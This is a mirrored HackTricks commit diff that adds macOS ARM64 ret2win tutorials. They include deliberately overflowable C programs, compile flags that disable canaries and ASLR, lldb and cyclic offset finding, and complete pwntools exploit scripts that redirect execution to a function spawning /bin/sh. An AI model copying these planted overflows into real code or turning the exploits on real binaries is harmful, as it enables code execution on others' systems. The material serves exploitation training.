mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
new macos exploiting examples
This commit is contained in:
parent
5452214bb1
commit
9343609219
@ -201,7 +201,286 @@ print(p.recvline())
|
||||
p.close()
|
||||
```
|
||||
|
||||
### Notes on modern AArch64 hardening (PAC/BTI) and ret2win
|
||||
## macOS
|
||||
|
||||
### Code
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
__attribute__((noinline))
|
||||
void win(void) {
|
||||
system("/bin/sh"); // <- **our target**
|
||||
}
|
||||
|
||||
void vulnerable_function(void) {
|
||||
char buffer[64];
|
||||
// **BOF**: reading 256 bytes into a 64B stack buffer
|
||||
read(STDIN_FILENO, buffer, 256);
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
printf("win() is at %p\n", win);
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile without canary (in macOS you can't disable PIE):
|
||||
|
||||
```bash
|
||||
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
|
||||
```
|
||||
|
||||
Execute without ASLR (although as we have an address leak, we don't need it):
|
||||
|
||||
```bash
|
||||
env DYLD_DISABLE_ASLR=1 ./bof_macos
|
||||
```
|
||||
|
||||
> [!TIP]
|
||||
> It's not possible to disable NX in macOS because in arm64 this mode is implemented at hardware level so you can't disable it, so you won't be finding examples with shellcode in stack in macOS.
|
||||
|
||||
### Find the offset
|
||||
|
||||
- Generate a pattern:
|
||||
|
||||
```bash
|
||||
python3 - << 'PY'
|
||||
from pwn import *
|
||||
print(cyclic(200).decode())
|
||||
PY
|
||||
```
|
||||
|
||||
- Run the program and input the pattern to cause a crash:
|
||||
|
||||
```bash
|
||||
lldb ./bof_macos
|
||||
(lldb) env DYLD_DISABLE_ASLR=1
|
||||
(lldb) run
|
||||
# paste the 200-byte cyclic string, press Enter
|
||||
```
|
||||
|
||||
- Check register `x30` (the return address) to find the offset:
|
||||
|
||||
```bash
|
||||
(lldb) register read x30
|
||||
```
|
||||
|
||||
- Use `cyclic -l <value>` to find the exact offset:
|
||||
|
||||
```bash
|
||||
python3 - << 'PY'
|
||||
from pwn import *
|
||||
print(cyclic_find(0x61616173))
|
||||
PY
|
||||
|
||||
# Replace 0x61616173 with the 4 first bytes from the value of x30
|
||||
```
|
||||
|
||||
- Thats how I found the offset `72`, putting in that offset the address of `win()` function you can execute that function and get a shell (running without ASLR).
|
||||
|
||||
### Exploit
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from pwn import *
|
||||
import re
|
||||
|
||||
# Load the binary
|
||||
binary_name = './bof_macos'
|
||||
|
||||
# Start the process
|
||||
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})
|
||||
|
||||
# Read the address printed by the program
|
||||
output = p.recvline().decode()
|
||||
print(f"Received: {output.strip()}")
|
||||
|
||||
# Extract the win() address using regex
|
||||
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
|
||||
if not match:
|
||||
print("Failed to extract win() address")
|
||||
p.close()
|
||||
exit(1)
|
||||
|
||||
win_address = int(match.group(1), 16)
|
||||
print(f"Extracted win() address: {hex(win_address)}")
|
||||
|
||||
# Offset calculation:
|
||||
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
|
||||
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
|
||||
offset = 64 + 8 # 72 bytes total to reach the return address
|
||||
|
||||
# Craft the payload - ARM64 addresses are 8 bytes
|
||||
payload = b'A' * offset + p64(win_address)
|
||||
print(f"Payload length: {len(payload)}")
|
||||
|
||||
# Send the payload
|
||||
p.send(payload)
|
||||
|
||||
# Drop to an interactive session
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
## macOS - 2nd example
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
__attribute__((noinline))
|
||||
void leak_anchor(void) {
|
||||
puts("leak_anchor reached");
|
||||
}
|
||||
|
||||
__attribute__((noinline))
|
||||
void win(void) {
|
||||
puts("Killed it!");
|
||||
system("/bin/sh");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
__attribute__((noinline))
|
||||
void vuln(void) {
|
||||
char buf[64];
|
||||
FILE *f = fopen("/tmp/exploit.txt", "rb");
|
||||
if (!f) {
|
||||
puts("[*] Please create /tmp/exploit.txt with your payload");
|
||||
return;
|
||||
}
|
||||
// Vulnerability: no bounds check → stack overflow
|
||||
fread(buf, 1, 512, f);
|
||||
fclose(f);
|
||||
printf("[*] Copied payload from /tmp/exploit.txt\n");
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
// Unbuffered stdout so leaks are immediate
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
|
||||
// Leak a different function, not main/win
|
||||
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);
|
||||
|
||||
// Sleep 3s
|
||||
sleep(3);
|
||||
|
||||
vuln();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile without canary (in macOS you can't disable PIE):
|
||||
|
||||
```bash
|
||||
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
|
||||
```
|
||||
|
||||
### Find the offset
|
||||
|
||||
- Generate a pattern into the file `/tmp/exploit.txt`:
|
||||
|
||||
```bash
|
||||
python3 - << 'PY'
|
||||
from pwn import *
|
||||
with open("/tmp/exploit.txt", "wb") as f:
|
||||
f.write(cyclic(200))
|
||||
PY
|
||||
```
|
||||
|
||||
- Run the program to cause a crash:
|
||||
|
||||
```bash
|
||||
lldb ./bof_macos
|
||||
(lldb) run
|
||||
```
|
||||
|
||||
- Check register `x30` (the return address) to find the offset:
|
||||
|
||||
```bash
|
||||
(lldb) register read x30
|
||||
```
|
||||
|
||||
- Use `cyclic -l <value>` to find the exact offset:
|
||||
|
||||
```bash
|
||||
python3 - << 'PY'
|
||||
from pwn import *
|
||||
print(cyclic_find(0x61616173))
|
||||
PY
|
||||
# Replace 0x61616173 with the 4 first bytes from the value of x30
|
||||
```
|
||||
|
||||
- Thats how I found the offset `72`, putting in that offset the address of `win()` function you can execute that function and get a shell (running without ASLR).
|
||||
|
||||
### Calculate the address of win()
|
||||
|
||||
- The binary is PIE, using the leak of `leak_anchor()` function and knowing the offset of `win()` function from `leak_anchor()` function we can calculate the address of `win()` function.
|
||||
|
||||
```bash
|
||||
objdump -d bof_macos | grep -E 'leak_anchor|win'
|
||||
|
||||
0000000100000460 <_leak_anchor>:
|
||||
000000010000047c <_win>:
|
||||
```
|
||||
|
||||
- The offset is `0x47c - 0x460 = 0x1c`
|
||||
|
||||
### Exploit
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from pwn import *
|
||||
import re
|
||||
import os
|
||||
|
||||
# Load the binary
|
||||
binary_name = './bof_macos'
|
||||
# Start the process
|
||||
p = process(binary_name)
|
||||
|
||||
# Read the address printed by the program
|
||||
output = p.recvline().decode()
|
||||
print(f"Received: {output.strip()}")
|
||||
|
||||
# Extract the leak_anchor() address using regex
|
||||
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
|
||||
if not match:
|
||||
print("Failed to extract leak_anchor() address")
|
||||
p.close()
|
||||
exit(1)
|
||||
leak_anchor_address = int(match.group(1), 16)
|
||||
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")
|
||||
|
||||
# Calculate win() address
|
||||
win_address = leak_anchor_address + 0x1c
|
||||
print(f"Calculated win() address: {hex(win_address)}")
|
||||
|
||||
# Offset calculation:
|
||||
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
|
||||
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
|
||||
offset = 64 + 8 # 72 bytes total to reach the return address
|
||||
|
||||
# Craft the payload - ARM64 addresses are 8 bytes
|
||||
payload = b'A' * offset + p64(win_address)
|
||||
print(f"Payload length: {len(payload)}")
|
||||
|
||||
# Write the payload to /tmp/exploit.txt
|
||||
with open("/tmp/exploit.txt", "wb") as f:
|
||||
f.write(payload)
|
||||
|
||||
print("[*] Payload written to /tmp/exploit.txt")
|
||||
|
||||
# Drop to an interactive session
|
||||
p.interactive()
|
||||
```
|
||||
|
||||
|
||||
## Notes on modern AArch64 hardening (PAC/BTI) and ret2win
|
||||
|
||||
- If the binary is compiled with AArch64 Branch Protection, you may see `paciasp`/`autiasp` or `bti c` emitted in function prologues/epilogues. In that case:
|
||||
- Returning to an address that is not a valid BTI landing pad may raise a `SIGILL`. Prefer targeting the exact function entry that contains `bti c`.
|
||||
@ -210,7 +489,7 @@ p.close()
|
||||
- `readelf --notes -W ./ret2win` and look for `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` notes.
|
||||
- `objdump -d ./ret2win | head -n 40` and look for `bti c`, `paciasp`, `autiasp`.
|
||||
|
||||
### Running on non‑ARM64 hosts (qemu‑user quick tip)
|
||||
## Running on non‑ARM64 hosts (qemu‑user quick tip)
|
||||
|
||||
If you are on x86_64 but want to practice AArch64:
|
||||
|
||||
@ -229,11 +508,12 @@ gdb-multiarch ./ret2win -ex 'target remote :1234'
|
||||
|
||||
### Related HackTricks pages
|
||||
|
||||
-
|
||||
|
||||
{{#ref}}
|
||||
../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
|
||||
{{#endref}}
|
||||
-
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
|
||||
{{#endref}}
|
||||
|
@ -4,12 +4,13 @@
|
||||
|
||||
Find an introduction to arm64 in:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
## Code
|
||||
## Linux
|
||||
|
||||
### Code
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
@ -32,7 +33,7 @@ Compile without pie, canary and nx:
|
||||
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
|
||||
```
|
||||
|
||||
## No ASLR & No canary - Stack Overflow
|
||||
### No ASLR & No canary - Stack Overflow
|
||||
|
||||
To stop ASLR execute:
|
||||
|
||||
@ -79,6 +80,17 @@ The only "complicated" thing to find here would be the address in the stack to c
|
||||
|
||||
I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode.
|
||||
|
||||
|
||||
## macOS
|
||||
|
||||
> [!TIP]
|
||||
> It's not possible to disable NX in macOS because in arm64 this mode is implemented at hardware level so you can't disable it, so you won't be finding examples with shellcode in stack in macOS.
|
||||
|
||||
Check a macOS ret2win example in:
|
||||
|
||||
{{#ref}}
|
||||
../ret2win/ret2win-arm64.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user